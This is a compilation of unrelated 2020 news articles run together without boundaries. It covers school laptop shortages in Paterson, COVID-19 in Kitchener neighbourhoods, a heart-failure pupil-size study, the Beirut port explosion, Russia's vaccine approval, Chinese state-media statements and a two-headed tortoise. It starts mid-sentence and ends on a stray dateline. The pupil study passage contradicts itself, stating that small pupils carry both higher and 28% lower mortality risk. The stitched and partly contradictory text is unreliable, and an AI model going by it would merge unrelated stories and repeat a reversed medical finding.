virtual instruction. The district began distributing 7,000 Chromebooks to all high school students in April and launched a fundraising campaign for additional purchases that remains ongoing. The 13,845 laptops were ordered June 2, at a cost of $3.4 million, after the district was told it would receive funding for the purchases via the federal CARES Act the $2.2 trillion economic stimulus package prompted by the pandemic and signed into law in March. The order was placed through CDW Corporation, a technology products distributor, which partners with Lenovo, a company that manufactures Chromebooks, the district said in the press release. An electronics company used by Lenovo, the Hefei Bitland Information Technology Company, is one of 11 companies in China that the U.S. Commerce Department has imposed trade sanctions against due to alleged human rights violations, according to Paterson. Lenovo is no longer working with Hefei Bitland and is seeking to bring three factories online to resume Chromebook production, the district said. School board president Kenneth L. Simmons called the shipment delay an undeniable setback. The Paterson Public Schools District is one of many school districts in the nation that is being impacted by the low supply of Chromebook devices. We will be vigilantly working to find ways to get devices in the hands of our students as soon as possible, Simmons said in the district press release. Prior to Gov. Phil Murphys announcement in July that all students in New Jersey would have the option all-remote learning, about a third of parents in Paterson responding to a recent survey indicated they would keep their children home if school buildings open in September. The need would grow if the start of in-person instruction is delayed in New Jersey, as some school districts including Elizabeth and Jersey City are requesting. In Paterson, the local teachers union president has urged the state to hold off on reopening school buildings until January, and possibly longer, due to heath concerns. Please subscribe now and support the local journalism YOU rely on and trust. Rob Jennings may be reached at rjennings@njadvancemedia.com. WATERLOO REGION The first wave of COVID-19 spread more deeply along the poorer, central spine of Kitchener. Five neighbourhoods show a community infection rate 57 per cent above the regional average, after 161 people were sickened by infections blamed on close contact, travel, or unknown causes. It is hugely alarming, said Laura Mae Lindo, New Democrat MPP for Kitchener Centre. It actually confirms what doctors have said to me in those neighbourhoods. The affected neighbourhoods are home to 85,300 residents. Census data shows people who reside there are more likely to be Black or living in poverty. People there live more closely together in homes they are less likely to own. Their jobs may make them less able to stay home to ride out the disease. Public health has mapped COVID to find that infections tend to rise in a moderate way in areas where new immigrants settle, and to a lesser extent where poverty is higher. This finding supports a growing body of evidence that there are associations between COVID-19 and sociodemographic factors, the department said in a statement. But its not known if individuals who are poorer or Black have been more often infected. The regional public health unit rejected calls to collect disaggregated health data that has revealed racial and income inequities elsewhere. The data will now be collected under provincial directive. Is this disease that attacks everyone equally? The answer to that is no, says Todd Coleman, an epidemiologist at Wilfrid Laurier University. Transmission is more likely where people live closer together, Coleman said by email. People who are disadvantaged may live in households with more people, to reduce living costs. People with less money and fewer options may not be able to afford being off work, or may not be able to stock up on basic food and supplies, making it more likely they must keep working in higher-risk settings, he said. They may not be able to afford protection such as masks and sanitizer. They may also be more likely to have chronic conditions that could make infections more severe, Coleman said. The central neighbourhoods hit harder by COVID-19 stretch from the Fairview Park mall to downtown Kitchener and into areas around Grand River Hospital. Inside these neighbourhoods, healthcare workers say they felt overwhelmed as they fought to contain the spread of disease. They describe an army of Black and racialized women providing healthcare support while worrying about becoming infected and bringing the disease home to their families. You try everything you can to be careful, and make sure it doesnt spread to every resident. It spread like a wildfire, said Evelyn Body, a registered practical nurse at a long-term care home. Body tested positive in an early round of testing for healthcare workers. She had to quarantine for four weeks and had to test negative twice before returning to work. I was scared to go back to work and possibly infect my family, she said. They were scared of me at home. My youngest daughter would use the Lysol wipes on everything. They would open the door for me, wipe down everything. They wouldnt let me touch anything, she said. I was just sitting in a corner. My family was scared of me, they wouldnt go near me. Nafisa Abdi worked up to 10 hours a day, seven days a week in March and April at an understaffed residential group home in downtown Kitchener. As the pandemic peaked it was just her and a Black co-worker supporting nearly 30 residents. People needed help with all sorts of things, assistance with medication, life skills counselling, mental health support, she said. Abdi, 24, did not catch COVID but worried about bringing it back to her father and three brothers who stayed home during the lockdown. It took a toll on me, she said. I would always ask, did I contract it today? Did I bring it home? She worries now about her well-being. As things started to slow down, I started to process what happened, she said. Im still working through these things. Personal support worker Nageya Hussen was stressed to work in a home for long-term care. When you go to work, you go healthy. You dont know how youre going to come back. It was uncertain and a little scary, she said. The stress level passed on to my family. Everyone was stressed. Census data shows that the central neighbourhoods hit hard by COVID are relatively crowded, with a population density 20 per cent above the Kitchener average. Homes more likely have more than one person per room, compared to elsewhere in the region. Almost one in five residents is unable to afford food, shelter and daily living costs, a poverty rate almost 70 per cent above the regional average. Residents are more likely to have jobs not easily done from home, in health care, food services or hotels, and in trades and manufacturing, the census shows. They ride Grand River Transit to work more often. About one in 20 residents is Black, well above the regional average of 1 in 34. One-quarter of the regions Black population lives in these areas. Five central neighbourhoods with high COVID infections are among 13 neighbourhoods found vulnerable to disease by a public health study that mapped health risks in 2011. Experts deemed these areas priorities for intervention, warning that residents are at risk of poor health because of higher poverty, less education, lower employment, and the recent settlement of immigrants who tend to be poor. We get the data to map out where the problems are and nobody seems to have the political will to actually invest in those neighbourhoods. And that perpetuates the cycle, MPP Lindo said. Whats going to happen if we dont stabilize this or take this data seriously? Then the second wave is going to hit these communities even more. Regional Chair Karen Redman says authorities took steps to intervene in vulnerable areas before the pandemic struck. There have been actions taken, she said, citing research into the needs of children, and a peer program set up to encourage neighbours to help each other. When the pandemic hit, planners who feared the spread of disease moved to house homeless people in a YMCA and in a hotel that are in or near affected neighbourhoods, Redman said. Medical officer of health Dr. Hsiu-Li Wang said planners targeted Indigenous people for testing as the pandemic took hold. More neighbourhood outreach such as mobile testing may be pursued in the fall. Wang intends to monitor the data to further assess trends. She wants to hear health concerns from neighbourhood associations. Can we do more? Always we can do more, Redman said, asked if public health is intervening strongly enough in vulnerable neighbourhoods. Concerned about these health inequities, local Black activists petitioned in April for more disaggregated data on COVID patients. Redman said public health did not collect the data because it lacked resources and personnel. It was never a reluctance, she said. Its good information for the community to have. The Record analyzed infections across 16 neighbourhoods where 309,000 people live. This is just over half the regional population, living in areas for which disease counts have been made public. The analysis found that a neighbourhood with more recent immigrants tends in a moderate way to have more disease. Public health found the same, analyzing data not made public. The Record analysis looks at 471 community cases transmitted through travel, close contact with an infected person, and unknown causes. It excludes 614 outbreak cases connected to nursing or retirement homes, which can skew numbers. Vanier-Rockway is among neighbourhoods hit hard by COVID. It saw 44 infections by community transmission by July 27, a rate of disease almost double the regional average. The neighbourhood borders Fairview Park mall beside the expressway. It has highrise apartment towers, public housing, and modest bungalow homes, and is home to almost 16,000 people. The poverty rate there is twice the regional average. About one in 12 residents immigrated in the five most recent years, triple the regional rate. People speak foreign languages at home at almost twice the regional rate. This gives Vanier-Rockway a profile similar to other hard-hit Ontario areas. Thats according to provincial research that shows the disease spreads disproportionately in more diverse neighbourhoods where new immigrants settle, where English and French is less understood, and where poverty is higher. Experts see many reasons why disease spreads where new immigrants settle. New immigrants may have less access to health care. People may not fully comprehend public health advice delivered only in English and French. New immigrants may have to leave home to work, increasing exposure to the disease. They may return from jobs to crowded homes where it is harder to self-isolate. They may be less able to afford masks and sanitizer. All those factors Im sure are probably operating here, said Craig Janes, director of the School of Public Health at the University of Waterloo. Pupil size predicts death and hospital readmission in patients with heart failure, according to research published today in ESC Heart Failure, a journal of the European Society of Cardiology (ESC).1 "Our results suggest that pupil area is a novel way to identify heart patients at elevated risk of death or hospital readmission," said study author Dr. Kohei Nozaki of Kitasato University Hospital, Kanagawa, Japan. "This provides an opportunity to intervene and improve outlook." Around 26 million people worldwide currently live with heart failure. It is a life-threatening condition in which the heart is unable to pump enough blood to meet the body's needs. Symptoms include shortness of breath, swollen limbs and fatigue. Up to 45% of patients admitted to hospital with heart failure die within one year of admission and the majority die within five years of admission.2 "Finding better ways to pinpoint which patients are more likely to be readmitted or die is crucial," said Dr. Nozaki. One of the causes of worsening heart failure is disturbed function of the body's autonomic system, which controls heart rate, digestion, respiration, and so on. Autonomic function is typically evaluated by measuring changes in heart rate. However, this method is ineffective in patients with a heart rhythm disorder called atrial fibrillation, which is common in those with heart failure. Pupil area is another way to assess autonomic function and has been used in patients with Parkinson's disease and diabetes. This study examined whether pupil area could predict prognosis in patients with heart failure. The study was conducted in 870 patients hospitalised for acute heart failure in 2012 to 2017. The average age was 67 years and 37% were women. Pupil area was measured in both eyes at least seven days after hospital admission. For the test, patients put on goggles, waited five minutes for their eyes to adapt to the dark, then photos were taken of the eyes. Patients were tested at a standard time (between 09:00 and 12:00) since the autonomic system is affected by time of day. Patients were divided into the small pupil area group and large pupil area group according to whether their measurement was below or above the median (16.6 mm2). They were then followed-up for all-cause death (the primary endpoint) and readmission due to heart failure (the secondary endpoint). Results of the small and large pupil area groups were compared. Over a median follow-up of 1.9 years, 131 patients died and 328 were rehospitalised because of heart failure. Compared to the large pupil area group, patients in the small pupil area group had a significantly poorer survival rate and significantly higher rate of readmission for heart failure. After adjusting for other factors that could affect prognosis such as body mass index (BMI) and kidney function, patients with a small pupil area had an 28% lower risk of all-cause mortality and an 18% reduced risk of readmission due to heart failure compared to patients with a large pupil area. Large pupil area was consistently linked with favourable survival regardless of age, sex, and the presence of either normal heart rhythm or atrial fibrillation. Pupil area can be obtained rapidly, easily, and non-invasively. Our study indicates that it could be used in daily clinical practice to predict prognosis in patients with heart failure, including those who also have atrial fibrillation. Patients with a small pupil area (e.g. less than 16.6 mm2) could be prioritised for cardiac rehabilitation with physical activity, which has been reported to improve autonomic function." Kohei Nozaki, Study Author, Kitasato University Hospital Dr. Nozaki noted that pupil area cannot be used in patients with severe retinopathy or other eye diseases. It will take Beirut quite a few more weeks to come to terms with the explosions that hit the Mediterranean city over a week ago. The bodies of the dead, the pain of the wounded, and the agony of those who do not know the fate of their loved ones or who have lost their shelter cannot be easily digested. It is hard to exaggerate the anger of the Lebanese people over the explosion that hit the port in Beirut last Tuesday afternoon and ended up erasing part of one of the Arab worlds most beautiful capitals. Despite the resignation of a government that had taken office just a few months before in response to demands for economic and political reforms by nationwide demonstrations since 17 October last year, the new protests that started on 8 August in the wake of the explosion are demanding an end to the rule of a political elite that has taken hold of Lebanon since the end of the 15-year civil war in 1989. Our city is gone, our pain is deep, and our anger at the corrupt political leaders, all of them without exception, is great, said Sahar, a Lebanese woman in her late 30s. Today, Sahar added, it is just like what it has been since the beginning of the 17 October protests. It is about all the Lebanese and their wish to get rid of all the political leadership without exception. We mean it, even if they cannot understand it. The chant of all means all that was championed at the protests of 17 October forced the fall of lines that had marked out Lebanese societys three main groups: the Shias, the Sunnis, and the Christians. The protests, like those of the past few days, saw none of the long-dominant divisions that had been observed in the Taif Accord, the Saudi-sponsored political pact signed in 1989 allowing for the division of power among the leaders of the three main religious groups in the country. It was clear for the many Lebanese who spoke to Al-Ahram Weekly from Beirut that the days of the Taif Accord are over and that an agreement that was once the only exit for this troubled country has now evolved into being a main cause of its misery. The leaders of the three blocs have been accommodating one another in what would serve their interests and not those of the nation as a whole, they said. According to Beirut-based foreign diplomatic sources who spoke from the Lebanese capital, a post-Taif moment seems to be in place, and this was clear from the talks that French President Emmanuel Macron had with political leaders when he visited Lebanon last Thursday, just two days after the blast. In the chats that the French leader had with Lebanese men and women as he walked through the streets of Beirut and in the tense meetings he had with Lebanese leaders, sources said, Macron had conveyed the firm message that the political leaders of the three Lebanese blocs have failed every possible test and that other countries with an interest in the stability of Lebanon can no longer turn a blind eye to their ineptitude and corruption. There are many questions about the future of Lebanon, and one of them is whether the political tycoons will bow to the demand for a new political lease of life for Lebanon. Then there are the questions of who the powers that could help the Lebanese at this time of trouble are and how any new pact could be compatible with the aspirations of the Lebanese people as demonstrated during the past few months and with the political realities of Lebanon and the region, commented Ashraf Hamdi, a former Egyptian ambassador to Lebanon. If we are talking about a new pact for Lebanon, then we are not just talking about a new Taif, so to speak, but possibly also about a new constitution, he added. France today, despite the keen support Macron has demonstrated throughout his years at the Elysee Palace in Paris, is not necessarily as able to play the same role it has done in the past in Lebanon. Saudi Arabia has been overwhelmed by its involvement in Yemen and Iraq, and much the same is true of Iran. The Saudis are deeply involved in a set of internal issues said by some Riyadh-based foreign diplomats to include the upcoming question of succession at the top of the power structure. Iran is consumed in squabbles with the US over its nuclear programme, the economy, and regional influence. Beyond the internal and external factors that could help clarify the situation in Lebanon, the Beirut blast will also have an impact on several regional players. Syria, Hamdi argued, could be influenced in many ways by the devastating explosions that hit the Lebanese capital. Syria could offer a nearby alternative port while the Beirut port is being reconstructed, he said. The port of Beirut is vital to the trade of Lebanon and nearby countries. It is not clear when it could be back in service, but most estimates have not suggested any time earlier than the second half of next year. Turkey has already offered to substitute one of its ports for the destroyed port of Beirut. However, this might not be to the liking either of all Lebanese forces or to some key regional and international players committed to helping Lebanon find a path out of the tragedy. The question of Syria, according to Middle East-based European diplomats, is difficult, because Syria is an ally of the Lebanese Shia group Hizbullah, with other Lebanese factions being frustrated at the choices made by Hizbullah Secretary-General Hassan Nasrallah. There are many voices, including from Shia groups in Lebanon, calling for an end to Nasrallahs impunity, but the region is not a place where such established facts can be changed overnight, said one European diplomat. What was worthy of attention, he added, was not whether Syria would provide Lebanon with an alternative temporary port, but rather what this heart-breaking tragedy would do to Syrian refugees in Lebanon already faced with dire economic conditions. The Lebanese economy has suffered tremendously during the past few months as a result of political squabbling and divisions between the people and the political elite. I think it is important to think of Jordan, a nearby country that cannot escape the tremors of whatever Lebanon will have to go through and also a host state for a large number of Syrian refugees, the diplomat said. According to foreign diplomats who spoke in Cairo and Beirut, the blast that hit the Lebanese capital last week had produced a tense situation across Lebanon, Syria, and Jordan, already suffering subdued socio-economic unease, as well as Iraq that like Lebanon has seen demands for an end to the control of a failed elite, this time put in place by the US-led war on Iraq in 2003. According to Hamdi, however, Iraq is a country that can find a way to re-embrace its Arab role through reaching out to Lebanon with assistance, as has been announced by the Iraqi authorities. I think that if we try to see a bit of light underneath the rubble, the Iraqi commitment to reach out to Lebanon is certainly part of it, he said. Hamdi argued that the tragedy of Lebanon could also see the revival of effective Arab diplomacy to help provide solutions to other Arab problems. Egypt, Hamdi argued, was well placed to play a constructive role in helping the Lebanese find their way out of the current crisis. Egypt is a country that has the respect and confidence of almost all the Lebanese parties, and I think Egypt is well placed to play a significant role, he said. In his statement at an international conference called by France on Sunday, President Abdel-Fattah Al-Sisi pledged Egypts commitment to help Lebanon. On Tuesday, Al-Sisi dispatched Foreign Minister Sameh Shoukri to Beirut to express support and to pursue leads explored by Egyptian Ambassador to Lebanon Yasser Elwi and Arab League Secretary-General Ahmed Abul-Gheit, who visited Beirut late last week. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: Quiet Central Business District on August 06, 2020 in Melbourne, Australia. Retail stores across Melbourne are closed to customers as part of further stage 4 lockdown restrictions. (Asanka Ratnayake/Getty Images) Victoria Shutdown Sinks Consumer Confidence Further Consumer confidence has sunk for a seventh straight week as Melbournes harsh COVID-19 lockdowns sour the mood of the nation. The ANZ-Roy Morgan weekly consumer confidence indexa pointer to future retail spendingdropped 2.4 percent to its lowest level since late April. Not surprisingly, confidence is weakest in Melbourne, ANZ economist David Plank said on Aug. 11. The downturn in confidence is longer than the six weeks of continuous decline during the first wave in February and March. However, the descent is less severe than earlier in the year. Views on current economic conditions plunged 8.2 percent, but sentiment towards peoples own financial conditions held up reasonably well. It is still low in absolute terms and speaks to a likely reluctance on the part of households to spend, Plank said National Australia Bank will release its monthly business survey on Tuesday. Recent data has shown while industries like manufacturing and services remain in decline, the pace of contraction has eased. The Australian Bureau of Statistics will also release its weekly payrolls data a special series introduced to give a more frequent reading on the economic impact of coronavirus. The monthly labour force report is due on Thursday, which economists expect will show the jobless rate rising to a 22-year high of 7.8 percent in July, compared with 7.4 percent in June. Colin Brinsden in Canberra By sunrise, the city had lifted all the downtown bridges except for LaSalle Street, trying to seal off the area. The sound of the bridges bells tolled throughout an otherwise quiet downtown. Some people emerged to tally the damage while others continued to stand guard, such as a maintenance worker who stood outside a looted Walgreens with a hammer. Nearby, a part from a broken cash register lay on the ground. Source: Xinhua| 2020-08-11 23:09:49|Editor: huaxia Video Player Close HONG KONG, Aug. 11 (Xinhua) -- The Liaison Office of the Central People's Government in the Hong Kong Special Administrative Region (HKSAR) on Tuesday voiced firm support for the decision of the Standing Committee of the National People's Congress (NPC) for the sixth Legislative Council (LegCo) of the HKSAR to continue performing duties. The decision adopted by the NPC Standing Committee is in accordance with the Constitution and the HKSAR Basic Law, the office said in a statement, stressing the unchallengeable legal authority of the decision. As Hong Kong is facing a severe COVID-19 situation, the HKSAR government's decision to postpone the LegCo election is a manifestation of a sense of responsibility to protect the security and health of Hong Kong residents, said the statement. The postponement is conducive to safeguarding public security and ensuring fairness and justice in the LegCo election, stressed the office. According to the decision, after Sept. 30, 2020, the sixth LegCo will continue performing duties for no less than a year until the seventh LegCo starts its four-year term. This important and timely decision shows the central authorities' strong sense of responsibility toward the overall interests of Hong Kong and the utmost concern for the vital interests of the people, the office said. The decision is not only reasonable and legitimate, but also convenient and easy to implement, the statement said, adding that it will contribute to upholding the constitutional order and law-based order in the HKSAR, as well as to maintaining the region's normal governance and the functioning of the Hong Kong society. It will minimize social instability and enable the whole society to focus on the most pressing task of curbing the COVID-19 epidemic, said the statement. The epidemic in the HKSAR remains challenging, the statement said, noting that Hong Kong residents are eagerly hoping for an early victory over the epidemic, the gradual resumption of order, and the easing of their difficulties. Enditem EMPIRE, MI Something is killing an iconic, threatened fish species in the crystal-clear waters of Lake Michigan off the coast of Sleeping Bear Dunes National Lakeshore. Since July 12, seven dead lake sturgeon have been found washed ashore along the picturesque coastline in Benzie and Leelanau counties, say park staff. The latest was found Aug. 3 and the dead fish have generated online concern after the park posted a photo on social media. MOSCOW - Russia on Tuesday became the first country to approve a coronavirus vaccine, a move that was met with international skepticism and unease because the shots have only been studied in dozens of people. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. ALEXEI NIKOLSKY / SPUTNIK /KREMLIN POOL PHOTO / THE ASSOCIATED PRESS Russian President Vladimir Putin attends a cabinet meeting at the Novo-Ogaryovo residence outside Moscow, Russia, Tuesday, Aug. 11, 2020. Putin says that a coronavirus vaccine developed in the country has been registered for use and one of his daughters has already been inoculated. Speaking at a government meeting Tuesday, Aug. 11, 2020, Putin said that the vaccine has proven efficient during tests, offering a lasting immunity from the coronavirus. (Alexei Nikolsky, Sputnik, Kremlin Pool Photo via AP) MOSCOW - Russia on Tuesday became the first country to approve a coronavirus vaccine, a move that was met with international skepticism and unease because the shots have only been studied in dozens of people. President Vladimir Putin announced the Health Ministry's approval and said one of his two adult daughters already was inoculated. He said the vaccine underwent the necessary tests and was shown to provide lasting immunity to the coronavirus, although Russian authorities have offered no proof to back up claims of safety or effectiveness. Russian President Vladimir Putin attends a cabinet meeting at the Novo-Ogaryovo residence outside Moscow, Russia, Tuesday, Aug. 11, 2020. Putin says that a coronavirus vaccine developed in the country has been registered for use and one of his daughters has already been inoculated. Speaking at a government meeting Tuesday, Aug. 11, 2020, Putin said that the vaccine has proven efficient during tests, offering a lasting immunity from the coronavirus. (Alexei Nikolsky, Sputnik, Kremlin Pool Photo via AP) "I know it has proven efficient and forms a stable immunity," Putin said. "We must be grateful to those who made that first step very important for our country and the entire world." However, scientists in Russia and other countries sounded an alarm, saying that rushing to offer the vaccine before final-stage testing could backfire. What's called a Phase 3 trial which involves tens of thousands of people and can take months is the only way to prove if an experimental vaccine is safe and really works. By comparison, vaccines entering final-stage testing in the U.S. require studies of 30,000 people each. Two vaccine candidates already have begun those huge studies, with three more set to get underway by fall. In this handout photo taken on Thursday, Aug. 6, 2020, and provided by Russian Direct Investment Fund, an employee works with a coronavirus vaccine at the Nikolai Gamaleya National Center of Epidemiology and Microbiology in Moscow, Russia. Russia on Tuesday, Aug. 11 became the first country to approve a coronavirus vaccine for use in tens of thousands of its citizens despite international skepticism about injections that have not completed clinical trials and were studied in only dozens of people for less than two months. (Alexander Zemlianichenko Jr/ Russian Direct Investment Fund via AP) "Fast-tracked approval will not make Russia the leader in the race, it will just expose consumers of the vaccine to unnecessary danger," said Russias Association of Clinical Trials Organizations, in urging government officials to postpone approving the vaccine without completed advanced trials. While Russian officials have said large-scale production of the vaccine wasn't scheduled until September, Deputy Prime Minister Tatyana Golikova said vaccination of doctors could start as early as this month. Officials say they will be closely monitored after the injections. Mass vaccination may begin as early as October. "We expect tens of thousands of volunteers to be vaccinated within the next months," Kirill Dmitriev, chief executive of the Russian Direct Investment Fund that bankrolled the vaccine, told reporters. The vaccine developed by the Gamaleya Institute in Moscow with assistance from Russia's Defence Ministry uses a different virus -- the common cold-causing adenovirus -- thats been modified to carry genes for the "spike" protein that coats the coronavirus, as a way to prime the body to recognize if a real COVID-19 infection comes along. Thats a similar technology as vaccines being developed by Chinas CanSino Biologics and Britains Oxford University and AstraZeneca but unlike those companies, Russian scientists haven't published any scientific information about how the vaccine has performed in animal tests or in early-stage human studies. Dmitriev said even as Russian doctors and teachers start getting vaccinated, advanced trials are set to start Wednesday that will involve "several thousand people" and span several countries, including the United Arab Emirates, Saudi Arabia, the Philippines and possibly Brazil. The Associated Press couldn't find documentation in the Russian Health Ministry's records indicating that permission to start the advanced trials was granted. The ministry has not responded to a request for comment. Putin said one of his daughters has received two doses, and had minor side effects such as slight fever, and is now "feeling well and has a high number of antibodies." It wasn't clear if she was one of the study volunteers. The Health Ministry said in a statement Tuesday that the vaccine is expected to provide immunity from the coronavirus for up to two years, citing its experience with vaccines made with similar technology. However, scientists around the world have been cautioning that even if vaccine candidates are proven to work, it will take even more time to tell how long the protection will last. "The collateral damage from release of any vaccine that was less than safe and effective would exacerbate our current problems insurmountably," Imperial College London immunology professor Danny Altmann said in a statement Tuesday. The World Health Organization has urged that all vaccine candidates go through full stages of testing before being rolled out, and said Tuesday it is in touch with the Russian scientists and "looks forward to reviewing" Russias study data. Experts have warned that vaccines that are not properly tested can cause harm in many ways from harming health to creating a false sense of security or undermining trust in vaccinations. Becoming the first country in the world to approve a vaccine was a matter of national prestige for the Kremlin as it tries to assert the image of Russia as a global power. Putin repeatedly praised Russias effective response to the outbreak in televised addresses to the nation, while some of Moscows top officials including the countrys prime minister and Putins own spokesperson became infected. And the U.S., Britain and Canada last month accused Russia of using hackers to steal vaccine research from Western labs. Russia has denied involvement. Russia has so far registered 897,599 coronavirus cases, including 15,131 deaths. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The Gamaleya Institutes director, Alexander Gintsburg, raised eyebrows in May when he said that he and other researchers tried the vaccine on themselves before the start of human studies. Those trials started June 17 with 76 volunteers. Half were injected with a vaccine in liquid form and the other half with a vaccine that came as soluble powder. Some in the first group were recruited from the military, which raised concerns that servicemen may have been pressured to participate. The test was declared completed earlier this month. "Its a too early stage to truly assess whether its going to be effective, whether its going to work or not," said Dr. Michael Head, senior research fellow in global health at England's University of Southampton. It's not Russia's first controversial vaccine. Putin has bragged that Russian scientists delivered an Ebola vaccine that "proved to be the most effective in the world" and "made a real contribution to fighting the Ebola fever in Africa." However, there is little evidence either of the two Ebola vaccines approved in Russia was widely used in Africa. As of 2019, both of those vaccines were listed by the WHO as "candidate vaccines." ___ AP medical writers Maria Cheng in London and Lauran Neergaard in Alexandria, Virginia, contributed to this report. BEIRUT, AUGUST 10, ARMENPRESS. On the second day of his visit to Beirut, High Commissioner for Diaspora Affairs Zareh Sinanyan, accompanied by Armenian Ambassador to Lebanon Vahagn Atabekyan visited the Armenian Prelacy of Lebanon and met with the Primate of the Armenian Diocese of Lebanon Archbishop Shahe Panossian, the High Commissioners office said in a news release. Sinanyan is leading an Armenian delegation to Beirut to assess the situation in the aftermath of the major August 4 explosion. After expressing his gratitude for the welcome, the High Commissioner talked about the humanitarian aid provided by Armenia to the Lebanese government and the Armenian community. He also noted that in addition to providing aid, one of the main reasons for the visit is to get acquainted with the conditions of the Lebanese-Armenian community after the explosion. The Primate of the Diocese, having described the condition of the community, emphasized that Lebanese-Armenians have seen many difficulties and will be able to overcome this as well. Zareh Sinanyan highlighted the fundraiser organized by the Hayastan All Armenia Fund specifically for the Lebanese-Armenian community. The parties discussed possible areas of assistance, in particular the reconstruction of educational institutions. Members of the Armenian delegation were present at the meeting. Later that day, High Commissioner Sinanyan visited the Chaghzoyan Center in Beirut and met with ARF representatives. Ambassador Atabekyan and members of the Armenian delegation attended the meeting. High Commissioner Sinanyan presented the reason for his visit and underlined the importance of being in direct contact with Lebanese-Armenians and community organizations, and identifying problems through face-to-face meetings. Lebanese MP Hagop Pakradouni thanked the Armenian government for quickly responding to the explosion and standing by the community physically and emotionally. High Commissioner Sinanyan also visited the office of the Lebanese branch of the Social Democrat Hunchakian Party and met with the chairman Sebouh Kalpakian, who noted how important it is that the government of Armenia and Prime Minister Pashinyan are in constant contact with the community, especially given the current situation. After which the chairman discussed the SDHPs activities in Lebanon and in Armenia. The High Commissioner reaffirmed the readiness of the Armenian government to stand by the Lebanese-Armenian community. He also stated that one or two community institutions will be rebuilt by Armenias efforts. Furthermore, Sinanyan presented the steps taken by the government for repatriation, specifically the Law on Repatriation, and the ongoing work to establish a repatriation and integration center. Afterward, the members of the delegation took a tour of St. Gevork church and the adjacent medical center where they spoke with representatives of the Armenian community who were affected by the explosion. Later that day, the High Commissioner paid a visit to the Tekeyan Cultural Center in Lebanon. He also visited the AGBU office and met with members of the organization headed by Gerard Tufenkjian. High Commissioner Sinanyan was introduced to the activities of the Lebanese branch of the organization, and the work being carried out after the explosion. The AGBU office has assessed the needs of 400 Lebanese-Armenian families, on the basis of which assistance will be provided. Zareh Sinanyan noted that the Office of the High Commissioner is working effectively with the AGBU and expressed readiness to strengthen cooperation. Issues affecting the Lebanese-Armenian community were discussed during the meeting", Sinanyan's Office said. Source: Xinhua| 2020-08-11 23:22:00|Editor: huaxia Video Player Close FREETOWN, Aug. 11 (Xinhua) -- The Chinese Embassy in Sierra Leone donated some essential items to the Muslim community on Tuesday to help them tide over the difficulties caused by COVID-19. The items include 10, 000 surgical masks, 10 metric tons of rice, 100 buckets of cooking oil, 100 bottles of hand sanitizer, 2 television sets, 15 cell phones, and 10 forehead thermometers. Chinese ambassador to Sierra Leone Hu Zhangliang said the donated items are to further deepen the ties between China and Sierra Leone. He assured that China will continue to support the people of Sierra Leone in all fronts of diplomatic ties and people-to-people cooperation. Sierra Leone's Social Welfare Minister Baindu Dassama remarked that the donation epitomizes the friendship ties between the two countries and assured the donated items will reach the targeted beneficiaries. One of the Islamic scholars in Sierra Leone Sheikh Abubakarr Conteh described the donation as timely for especially extremely poor Muslims. He thanked the Chinese embassy in Sierra Leone for facilitating the great gesture. "I hope the friendship ties between Sierra Leone and China will continue to flourish," he said. The Chinese embassy also donated some medical and office supplies to the Social Welfare Ministry on the same occasion. Enditem The two-headed Roman god Janus has found his namesake in a two-headed Greek tortoise at the Museum of Natural History in Geneva, Switzerland. Janus the reptilian hatched on Sept. 3, 1997, and her chances of survival in the wild would be slim to none, as her two heads make her more vulnerable and less mobile than single-headed tortoises. But in the museum, with constant care and cuddles, this remarkable tortoise has lived to an incredible 22 years, a record for two-headed creatures. Now, the museum is getting ready to celebrate her 23rd birthday, and Janus is looking in fine form. Janus, the Geneva Museum of Natural Historys two-headed Greek tortoise, is photographed on the day of her 20th birthday on Sept. 3, 2017, in Geneva. (FABRICE COFFRINI/AFP via Getty Images) Janus was born from a tortoise egg that was donated to the museum and hatched there. When she was born with two heads, the staff werent optimistic about her chances for survival. Andreas Schmitz, a herpetologist at the museum, told the Swiss channel RTS, Janus cant completely retract her head inside. If I were a predator, I could attack the two heads which are easily visible. That means in nature, theres no chance or almost no chance, for these creatures to survive the first days or the first hours of their life. A closeup photograph of Janus, the Geneva Museum of Natural Historys two-headed Greek tortoise (FABRICE COFFRINI/AFP via Getty Images) Another problem that the two heads pose is that each has its own brain. This means that deciding what to do and where to go can be problematic. Schmitz said that Janus has one head that is slightly more dominant, and when it comes to moving, the difficulty is if theres one head that wants to walk to the right and the other wants to walk to the left, there is conflicting information, and that means she doesnt move at all. The museum no longer keeps live animals but makes an exception for two-headed Janus. Taking care of living animals involves a lot of constraints, Pierre-Henri Heizmann, the administrator of the museum, told Cult. We put everything in place to keep her, above all to keep her healthy and give her all the necessary attention. Children interact with Janus, the Geneva Museum of Natural Historys two-headed Greek tortoise, on Sept. 5, 2007. (FABRICE COFFRINI/AFP via Getty Images) Thankfully, in the museum, Janus has received 5-star treatment that has allowed her to live a much longer life than anyone would have expected for a two-headed creature. In addition to a UV light in her indoor enclosure, she receives different kinds of lettuce and berries to munch on. After the pandemic forced the museum to close to visitors, it was a perfect moment to upgrade Januss terrarium. In summer 2020, Janus had access to the outdoors through a special open-air habitat on the roof of the museums research building. Nicolas Dumoulin, responsible for security and maintenance, explained to Cult that when the temperatures are above 20 to 23 degrees Celsius (68 to 73 degrees Fahrenheit), Janus can enjoy her outdoor space and get the UV and vitamin D she needs. Janus, the Geneva Museum of Natural Historys two-headed Greek tortoise, eats lettuce on the day of her 20th birthday on Sept. 3, 2017, in Geneva. (FABRICE COFFRINI/AFP via Getty Images) Every day, Janus also gets a bath to keep her tortoiseshell clean and free of dangerous fungi. The water needs to be warm, between 26 and 30 degrees Celsius (78.8 to 86 degrees Fahrenheit). One of Januss three keepers, Angelica Bourdoin, said that Janus is so relaxed during bathtime that she stretches out [her legs] and not only does she stretch out, she falls asleep. Despite all their care, the museum has to think carefully about the design of Januss habitat as the genetic mutation responsible for her two heads also seems to have had some effects on her shell. The shell is definitely deformed, Andreas Schmitz told RTS. Its not perfectly round like other Greek tortoises. This means that if Janus ever were to fall over on her back, she wouldnt be able to turn over by herself. What is certain is that whatever Januss new enclosure is like, it will remain one of the museums star attractions as visitors flock to see this two-headed wonder. Janus, the Geneva Museum of Natural Historys two-headed Greek tortoise, eats salad as she is presented to the press and the public during the official celebration of her 10th birthday Sept. 5, 2007. (FABRICE COFFRINI/AFP via Getty Images) We would love to hear your stories! You can share them with us at emg.inspired@epochtimes.nyc NORFOLK, Va., Aug. 11, 2020 